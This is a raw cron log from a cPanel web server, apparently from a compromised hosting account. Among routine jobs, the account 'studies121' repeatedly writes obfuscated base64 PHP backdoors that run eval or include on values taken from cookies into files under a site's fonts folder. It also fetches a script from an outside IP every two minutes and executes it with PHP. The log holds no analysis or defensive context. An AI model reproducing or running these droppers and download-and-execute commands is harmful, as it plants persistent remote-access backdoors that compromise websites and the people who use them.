Sep 21 02:27:01 ip-184-168-122-23 CROND[15294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:27:01 ip-184-168-122-23 CROND[15296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:27:01 ip-184-168-122-23 CROND[15297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:27:01 ip-184-168-122-23 CROND[15301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:28:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 21 02:28:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 21 02:28:01 ip-184-168-122-23 CROND[15511]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:28:01 ip-184-168-122-23 CROND[15512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:28:01 ip-184-168-122-23 CROND[15514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:28:01 ip-184-168-122-23 CROND[15513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:28:01 ip-184-168-122-23 CROND[15516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:29:01 ip-184-168-122-23 CROND[15618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:29:01 ip-184-168-122-23 CROND[15622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:29:01 ip-184-168-122-23 CROND[15620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:29:01 ip-184-168-122-23 CROND[15621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:30:01 ip-184-168-122-23 CROND[15728]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 02:30:01 ip-184-168-122-23 CROND[15731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:30:01 ip-184-168-122-23 CROND[15730]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:30:01 ip-184-168-122-23 CROND[15734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:30:01 ip-184-168-122-23 CROND[15739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:30:01 ip-184-168-122-23 CROND[15737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:30:01 ip-184-168-122-23 CROND[15738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:30:01 ip-184-168-122-23 CROND[15742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:31:01 ip-184-168-122-23 CROND[15835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:31:01 ip-184-168-122-23 CROND[15837]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 02:31:01 ip-184-168-122-23 CROND[15838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:31:01 ip-184-168-122-23 CROND[15840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:31:01 ip-184-168-122-23 CROND[15839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:32:01 ip-184-168-122-23 CROND[15930]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:32:01 ip-184-168-122-23 CROND[15932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:32:01 ip-184-168-122-23 CROND[15934]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:32:01 ip-184-168-122-23 CROND[15933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:32:01 ip-184-168-122-23 CROND[15935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:33:01 ip-184-168-122-23 CROND[16039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:33:01 ip-184-168-122-23 CROND[16043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:33:01 ip-184-168-122-23 CROND[16042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:33:01 ip-184-168-122-23 CROND[16044]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:34:01 ip-184-168-122-23 CROND[16131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:34:01 ip-184-168-122-23 CROND[16134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:34:01 ip-184-168-122-23 CROND[16135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:34:01 ip-184-168-122-23 CROND[16137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:34:01 ip-184-168-122-23 CROND[16136]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:35:01 ip-184-168-122-23 CROND[16310]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 02:35:01 ip-184-168-122-23 CROND[16311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:35:01 ip-184-168-122-23 CROND[16309]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:35:01 ip-184-168-122-23 CROND[16315]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 02:35:01 ip-184-168-122-23 CROND[16314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:35:01 ip-184-168-122-23 CROND[16316]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 02:35:01 ip-184-168-122-23 CROND[16312]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:35:01 ip-184-168-122-23 CROND[16313]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 02:36:01 ip-184-168-122-23 CROND[16423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:36:01 ip-184-168-122-23 CROND[16426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:36:01 ip-184-168-122-23 CROND[16424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:36:01 ip-184-168-122-23 CROND[16425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:36:01 ip-184-168-122-23 CROND[16427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:37:01 ip-184-168-122-23 CROND[16531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:37:01 ip-184-168-122-23 CROND[16533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:37:01 ip-184-168-122-23 CROND[16535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:37:01 ip-184-168-122-23 CROND[16534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:38:01 ip-184-168-122-23 CROND[16617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 02:38:01 ip-184-168-122-23 CROND[16619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 02:38:01 ip-184-168-122-23 CROND[16616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 02:38:01 ip-184-168-122-23 CROND[16620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 02:38:01 ip-184-168-122-23 CROND[16618]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 02:39:01 ip-184-168-122-23 CROND[16704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
